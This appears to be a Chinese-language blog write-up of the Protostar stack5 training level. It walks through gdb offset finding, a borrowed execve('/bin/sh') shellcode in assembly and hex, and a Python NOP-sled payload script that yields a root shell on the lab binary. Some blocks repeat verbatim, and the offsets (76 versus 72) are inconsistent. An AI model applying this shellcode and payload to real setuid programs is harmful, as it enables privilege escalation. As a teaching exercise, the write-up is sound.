About
Stack5 is a standard buffer overflow, this time introducing shellcode.
Hints:
- At this point in time, it might be easier to use someone elses shellcode
- If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
- remove the int3s once your shellcode is done.
This level is at /opt/protostar/bin/stack5
Source code
#include
#include
#include
#include
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
#include
#include
#include
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
这题对我来说算是比较有挑战性的,除了求助外,也花了我不少时间来Debug。。。。
这道题该怎么过呢?其实是需要在buffer中填进一段shellcode,并修改函数的RET地址跳到shellcode的地方并执行。
同样,第一步需先找出程序的RET与buffer输入的第一个字符的距离。。。
user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4: push %ebp
0x080483c5: mov %esp,%ebp
0x080483c7: and $0xfffffff0,%esp
0x080483ca: sub $0x50,%esp
0x080483cd: lea 0x10(%esp),%eax
0x080483d1: mov %eax,(%esp)
0x080483d4: call 0x80482e8
0x080483d9: leave
0x080483da: ret
End of assembler dump.
(gdb) b *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/40x $esp
0xbffff760: 0xbffff770 0xb7ec6165 0xbffff778 0xb7eada75
0xbffff770: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff780: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff790: 0x61616161 0x61616161 0x61616161 0x00616161
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x080483fb 0xb7fd7ff4
0xbffff7b0: 0x080483f0 0x00000000 0xbffff838 0xb7eadc76
0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848
0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x08048232
0xbffff7e0: 0x00000001 0xbffff820 0xb7ff0626 0xb7fffab0
0xbffff7f0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
(gdb) p $ebp - 0xbffff770 + 4
$1 = (void *) 0x4c
(gdb) p 0x4c
$2 = 76
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4
0x080483c5
0x080483c7
0x080483ca
0x080483cd
0x080483d1
0x080483d4
0x080483d9
0x080483da
End of assembler dump.
(gdb) b *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/40x $esp
0xbffff760: 0xbffff770 0xb7ec6165 0xbffff778 0xb7eada75
0xbffff770: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff780: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff790: 0x61616161 0x61616161 0x61616161 0x00616161
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x080483fb 0xb7fd7ff4
0xbffff7b0: 0x080483f0 0x00000000 0xbffff838 0xb7eadc76
0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848
0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x08048232
0xbffff7e0: 0x00000001 0xbffff820 0xb7ff0626 0xb7fffab0
0xbffff7f0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
(gdb) p $ebp - 0xbffff770 + 4
$1 = (void *) 0x4c
(gdb) p 0x4c
$2 = 76
因此输入的格式应该是长下面这样的:
|<---------76-------->|<--4->|
第二步就是要找一个有用的shellcode,在网上找了个代码如下:
user@protostar:~/stack5$ cat shell.asm
section .text
global _start
_start:
mov eax,0xf068732f
and eax,0x0fffffff
push eax
mov eax,0x6e69622f
push eax
mov ebx,esp
xor eax,eax
mov al,11
xor ecx,ecx
xor edx,edx
int 0x80
section .text
global _start
_start:
mov eax,0xf068732f
and eax,0x0fffffff
push eax
mov eax,0x6e69622f
push eax
mov ebx,esp
xor eax,eax
mov al,11
xor ecx,ecx
xor edx,edx
int 0x80
再编辑一下
user@protostar:~/stack5$ nasm -f elf shell.asm
user@protostar:~/stack5$ ld -o shell shell.o
user@protostar:~/stack5$ ./shell
user@protostar:~/stack5$ ld -o shell shell.o
user@protostar:~/stack5$ ./shell
用
objdump来查看十六进制的代码,
objdump -d shell.o
user@protostar:~/stack5$ objdump -d shell.o
shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: b8 2f 73 68 f0 mov $0xf068732f,%eax
5: 25 ff ff ff 0f and $0xfffffff,%eax
a: 50 push %eax
b: b8 2f 62 69 6e mov $0x6e69622f,%eax
10: 50 push %eax
11: 89 e3 mov %esp,%ebx
13: 31 c0 xor %eax,%eax
15: b0 0b mov $0xb,%al
17: 31 c9 xor %ecx,%ecx
19: 31 d2 xor %edx,%edx
1b: cd 80 int $0x80
shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: b8 2f 73 68 f0 mov $0xf068732f,%eax
5: 25 ff ff ff 0f and $0xfffffff,%eax
a: 50 push %eax
b: b8 2f 62 69 6e mov $0x6e69622f,%eax
10: 50 push %eax
11: 89 e3 mov %esp,%ebx
13: 31 c0 xor %eax,%eax
15: b0 0b mov $0xb,%al
17: 31 c9 xor %ecx,%ecx
19: 31 d2 xor %edx,%edx
1b: cd 80 int $0x80
为了方便输入,把shellcode转化为Python脚本。。。
user@protostar:~/stack5$ cat pwn5.py
#!/usr/bin/env python
offset = 72
shellcode = "\xb8\x2f\x73\x68\xf0\x25\xff\xff\xff\x0f\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"
nopsled = "\x90" * (offset - len(shellcode))
ret = "\x80\xf7\xff\xbf"
payload = nopsled + shellcode + "jjjj" + ret
print payload
#!/usr/bin/env python
offset = 72
shellcode = "\xb8\x2f\x73\x68\xf0\x25\xff\xff\xff\x0f\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"
nopsled = "\x90" * (offset - len(shellcode))
ret = "\x80\xf7\xff\xbf"
payload = nopsled + shellcode + "jjjj" + ret
print payload
细心的童鞋可能会发现buffer首字符地址应该是0xbffff770,而shellcode的RET地址写的是0xbffff780,这样写的原因是因为0x90(NOP)在汇编中是空指令,而RET地址落在连续一串的空指令在任何一个地方的作用都是相等的,因此地址落在NOP中间的话会对移植性有提高。。。
user@protostar:~/stack5$ (cat payload5; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
终于搞定,写到胃疼~~~赶紧碎觉